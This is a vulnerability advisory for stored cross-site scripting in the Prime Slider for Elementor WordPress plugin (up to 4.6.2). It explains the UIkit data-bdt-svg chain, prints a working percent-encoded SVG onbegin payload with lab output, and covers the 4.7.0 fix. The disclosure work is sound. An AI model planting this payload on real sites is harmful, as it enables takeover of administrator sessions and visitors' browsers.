CVE-2026-105875 The attacker supplies the widget that loads the library in Prime Slider

Intrudify's autonomous pentesting engine discovered a stored cross-site scripting vulnerability in Prime Slider for Elementor, affecting all versions up to and including 4.6.2. A Contributor stores one data-bdt-svg attribute in ordinary post content, and the plugin's vendored UIkit build fetches it, parses it with innerHTML and appends the result into the live page. Fixed in 4.7.0.

Discovered by
Intrudify autonomous engine
Validated & reported by
Disclosure
7 October 2026
Severity
Medium · CVSS 6.5
Vulnerability class
Stored cross-site scripting, CWE-79
Affected
Prime Slider ≤ 4.6.2
Fixed in
4.7.0
Active installs
100,000+
Attacker privilege
Contributor, with neither unfiltered_html nor publish_posts
Victim
The administrator who reviews the draft, then every visitor
Execution
One attribute, and one widget to arm the page

Summary

Prime Slider adds slider and carousel widgets to Elementor on about a hundred thousand sites. It ships its own build of UIkit under the prefix bdt-, and UIkit starts a component from an attribute name found anywhere in the document.

One of those components is bdt-svg. It takes a source URL from the attribute, fetches it, writes the response into a template element with innerHTML and appends the parsed node into the page. All of that happens when the component connects, with no interaction.

The fetch accepts a data: URI, which resolves locally and carries exactly the image/svg+xml content type the loader checks for, so the attacker hosts nothing. A script element would not run through innerHTML, but an SVG animation handler does.

wp_kses_post() permits data-* on every tag it allows, and the payload is percent-encoded so it carries no angle bracket outside the URI. A Contributor stores it in a Text Editor widget and nothing removes it.

The same component in the same vendor's Element Pack is CVE-2026-105873, reported in the same window. That plugin had a sanitiser for this class and it was incomplete. This one had none.

Technical detail

The attacker arms the page themselves

// loader.php, Prime Slider 4.6.2

if ( ! wp_script_is( 'bdt-uikit', 'registered' ) ) {
    wp_register_script( 'bdt-uikit', BDTPS_CORE_ASSETS_URL . 'js/bdt-uikit.min.js',
        [ 'jquery' ], '3.25.21', true );                // line 194
}


// includes/helper.php, line 164
function prime_slider_page_has_widget() {
    ...
    if ( ! empty( $element['widgetType'] )
        && 0 === strpos( $element['widgetType'], 'prime-slider' ) ) {   // line 81
        return true;
    }
}


// includes/prime-slider-filters.php, line 63
function prime_slider_is_conditional_assets_enabled() {
    return apply_filters( 'PrimeSlider/optimization/conditional_assets', true );
}

// so the bundle loads when the document holds a prime-slider widget.
// the attacker is the one building the document.

This is where Prime Slider differs from its sibling. Element Pack enqueues its bundle on every front-end page with no condition at all. Prime Slider is careful: it scans the Elementor document and loads the bundle only when a prime-slider widget is present. That is good for performance and it is no defence here, because the person choosing the widgets is the attacker. Dropping one slider widget into the same document as the carrier element is the whole of the setup.

A site that turns conditional assets off loads the bundle everywhere, which removes even that step.

The chain inside the bundle

// the bundled UIkit, version 3.25.21, prefixed bdt-

// 1. the registry is keyed "bdt-" + name, giving "bdt-svg"
// 2. the lookup strips a leading "data-", so data-bdt-svg resolves
// 3. the component declares { src: String, ... }, so the attribute
//    value supplies src
// 4. connected() calls getSvg() itself: no interaction

// 5. the loader accepts whatever fetch() will resolve:
async t => {
    const e = await fetch( t );
    if ( "image/svg+xml" === e.headers.get( "Content-Type" ) )
        return e.text();
}

//    a data:image/svg+xml,... URL resolves locally and its response
//    carries exactly that Content-Type, so the check passes and
//    nothing has to be hosted anywhere.

// 6. the text is parsed with innerHTML:
document.createElement( "template" ).innerHTML = t.trim();

// 7. connected() appends the parsed node into the live document.
//    a <script> would not run through innerHTML. an SVG animation
//    handler does.

What the Contributor stores

// stored by the Contributor in a Text Editor widget. no tag and no
// angle bracket outside the data: URI, so wp_kses_post() finds nothing:
// data-* is permitted on every tag it allows.

<div data-bdt-svg="src: data:image/svg+xml,
    %3Csvg%20xmlns=%27http://www.w3.org/2000/svg%27%3E
    %3Canimate%20onbegin=%27alert(document.domain)%27%20attributeName=%27x%27/%3E
    %3C/svg%3E"></div>


// two details the payload depends on:
//  - the explicit src: key is required. a bare data: URI is read as a
//    key map, because the option parser only takes the shorthand when
//    the value holds no colon, and data: holds one.
//  - every comma inside the payload must be %2C or the option parser
//    splits the value. this one carries none.

Verification

WordPress 7.1.3, PHP 8.3, Elementor 4.3.5, Prime Slider 4.6.2, default theme, default settings, on http://127.0.0.1:8503. Two accounts: admin, and contrib created as an ordinary Contributor.

# every request below is made over HTTP as the Contributor

principal: contrib ['contributor']
    unfiltered_html=False   publish_posts=False

elementor editor: HTTP 200 | nonce bf4096443c
save_builder    : HTTP 200 success=True
submitted       : pending   prime-slider widget present: True


# read back out of the database:
$ wp eval 'echo get_post_meta(8, "_elementor_data", true);'
data-bdt-svg present in _elementor_data: YES
status=pending  author=2

The capability line is worth reading twice. This account holds neither unfiltered_html nor publish_posts, so it can neither write raw HTML nor put anything in front of the public by itself. It did not need to.

What runs

// the administrator opens the pending submission: GET /?p=8

[4.6.2 admin]  bundle on page : true
               dialogs        : 1   message: 127.0.0.1
               inserted node  :
  <svg xmlns="http://www.w3.org/2000/svg" class="bdt-svg">
      <animate onbegin="alert(document.domain)" attributeName="x"></animate>
  </svg>

// that node is in no database row. it was fetched from the data: URI
// by the plugin's own bundle, parsed, and appended into the page.

A Contributor cannot publish, so the submission sits as Pending Review until somebody with more authority opens it. Opening it is the trigger. If that reviewer then publishes the post, the same script runs for every visitor.

Two controls

// control A: the same carrier, a harmless SVG, same path, same author
[4.6.2]  bundle on page : true
         dialogs        : 0
         inserted node  : <svg ... class="bdt-svg"><circle cx="5" .../></svg>
         // the component works. the handler is the payload.


// control B: the same payload, with no Prime Slider widget in the document
[4.6.2]  bundle on page : false
         dialogs        : 0
         inserted node  : None
         // conditional loading is real, and the attacker satisfies
         // the condition themselves by dropping in one widget.


// instrument control, before every run
// data:text/html,<script>alert('instrument-control')</script> -> 1 dialog

Control A matters because it separates the component working from the component being exploited: the same carrier with an ordinary SVG inserts an ordinary circle and fires nothing. Control B marks the one precondition and attributes the behaviour to this plugin, since with no slider widget in the document the bundle is simply absent.

4.7.0, and both layers of the fix

// Prime Slider 4.7.0, same lab

// layer 1, the new PHP guard, measured at save time:
contributor saves the same carrier
    -> data-bdt-svg in the newly saved post: STRIPPED
administrator saves the same carrier (holds unfiltered_html)
    -> data-bdt-svg kept: YES


// layer 2, the bundle, tested on markup a trusted author stored:
[4.7.0 trusted author, http(s) src]
    inserted node: <svg ... class="bdt-svg"><circle .../></svg>   // feature alive
    dialogs: 0

[4.7.0 trusted author, data: src]
    inserted node: None                              // scheme refused
    dialogs: 0


// and the 4.6.2-era payload, still in the database:
[4.7.0 payload post]  bundle on page: true  dialogs: 0  inserted node: None

Four zeros would prove nothing on their own, so the feature was checked from the other side. On 4.7.0 a trusted author's data-bdt-svg is kept and an http(s) source still renders its SVG, while the same author's data: source produces no node at all. The component is alive and the scheme is closed.

Impact

Contributor is the lowest WordPress role that can author content, and it is handed to guest writers, volunteers and agency staff on the assumption that wp_kses_post() bounds what they can put on a page. The filter does its job here: nothing stored is tag-shaped. The markup that executes is built in the browser afterwards, out of a URI the plugin resolves on the attacker's behalf.

The first victim is the reviewer, and the review is the trigger. Script runs in that session, in the site's own origin, with the session cookie and the REST nonce printed on the page, which is enough to create a second administrator account or install a plugin, and installing a plugin is PHP of the attacker's choosing on the server.

If the submission is approved, the same payload is served to every visitor who opens the post, logged in or not.

No plugin setting is involved. The one precondition is a Prime Slider widget in the same document, and the attacker places it.

Prime Slider reports more than 100,000 installations.

Remediation

Update Prime Slider to 4.7.0 or later.

// Prime Slider 4.7.0, includes/class-content-guard.php, new file,
// hooked from loader.php

const ATTRIBUTE_PATTERN =
    '/\s+(?:data-)?bdt-[a-z0-9_:.-]*(?:\s*=\s*(?:"[^"]*"|\'[^\']*\'|[^\s>]+))?/i';

public static function current_user_is_trusted() {
    return current_user_can( 'unfiltered_html' );
}

// runs before Elementor's own wp_kses_post() pass, and before kses
add_filter( 'elementor/document/save/data', [...], 5 );
add_filter( 'content_save_pre', [...], 5 );
add_filter( 'excerpt_save_pre', [...], 5 );
add_filter( 'pre_comment_content', [...], 5 );


// and the vendor's own note on the second layer, from the same file:
//
//   "The bundle itself also refuses non-http(s) SVG sources and drops
//    scripts, event handlers and script URLs from every fragment it
//    parses, so content stored before this guard existed cannot run
//    script either."

Two layers, and each was measured on its own. The new Content_Guard removes every bdt-* attribute from content saved by a user without unfiltered_html, hooked before Elementor's own kses pass, which is what stops the Contributor. The vendored UIkit build then refuses a non-http source, which is what neutralises content already in the database.

A site attacked before updating does not need its database cleaned to stop the script. That was measured: the 4.6.2-era payload is still in _elementor_data and 4.7.0 inserts nothing. The stored content is still not what its author appears to have written, so affected drafts are worth reviewing on their own account.

One behaviour change worth knowing before you update: data: sources no longer work for the SVG component at all, for any author. If a page legitimately used an inline data:image/svg+xml source, it will stop rendering and needs a real URL.

The same release also contains a large, unrelated asset-optimisation feature. The security change is the guard and the bundle.

The wider lesson

Two plugins from the same vendor shipped the same vendored library with the same component reachable the same way, and were reported within days of each other. Element Pack had a sanitiser for exactly this class, written in response to an earlier report, and it covered one option key and one of the two syntaxes its parser accepts. Prime Slider had nothing. A guard written for one product does not travel to the next one on its own, and a vendor with a shared bundle has a shared attack surface whether or not the code is in a shared repository.

So the question to ask of any bundled front-end library is which of its behaviours are reachable from an attribute, because an attribute is the one thing wp_kses_post() is most likely to allow. WordPress permits data-* everywhere by design, on the reasonable assumption that a data attribute is inert. It is inert until something on the page decides to read it.

The second thing is the shape of the payload. It contains no tag, no quote that matters and no angle bracket outside a URI, so every filter that looks for markup sees ordinary text. The markup is assembled in the browser, by the plugin, from a source the plugin chose to resolve. Scanning stored content for dangerous-looking strings would not have found it, and neither would a filter that strips tags.

Which leaves the practical rule: when a library initialises itself from the DOM, the list of attributes it reacts to is part of the plugin's input surface, and belongs in the same review as the plugin's own forms and routes.

Disclosure timeline

  • 2026-09-23 Release 4.6.1 published by BdThemes, the version the finding was confirmed against
  • 2026-09-30 Release 4.6.2 published, still affected
  • 2026-10-06 Release 4.7.0 published by BdThemes
  • 2026-10-07 Public disclosure by Patchstack, CVE-2026-105875 published

Questions

What is CVE-2026-105875?

CVE-2026-105875 is a stored cross-site scripting vulnerability in Prime Slider for Elementor, affecting all versions up to and including 4.6.2. The plugin bundles UIkit under the bdt- prefix, and its Svg component takes a source URL from a data-bdt-svg attribute, fetches it, parses the response with innerHTML and appends it into the page. A data: URI is accepted, so a Contributor can store the whole payload in an ordinary post.

Who can exploit CVE-2026-105875?

Any user who can write a post, which means Contributor and above. The account used in the lab held neither unfiltered_html nor publish_posts. The attribute survives wp_kses_post() because data-* is permitted on every allowed tag and the payload carries no angle bracket outside the data: URI.

Does the site owner have to enable anything?

No. The one precondition is that the Elementor document contains a Prime Slider widget, because that is what causes the plugin to load its UIkit bundle on the page. The attacker is the one building the document, so they add the widget themselves. A site that turns conditional assets off loads the bundle on every page anyway.

Why does a script tag not work, and an SVG animation does?

Because the markup is assigned with innerHTML, and a script element inserted that way does not execute. An SVG animation element with an onbegin handler is an ordinary event handler on an element, and it runs when the node is appended into the live document, which is what the component does next.

How do I fix CVE-2026-105875?

Update Prime Slider to 4.7.0 or later. That release adds a Content_Guard class that strips every bdt-* attribute from content saved by users without unfiltered_html, and hardens the vendored UIkit build so the SVG component refuses non-http sources. Note that inline data: SVG sources stop working for everyone as a result.

References

More discovered CVEs from Intrudify

See what a pentest
finds in your app.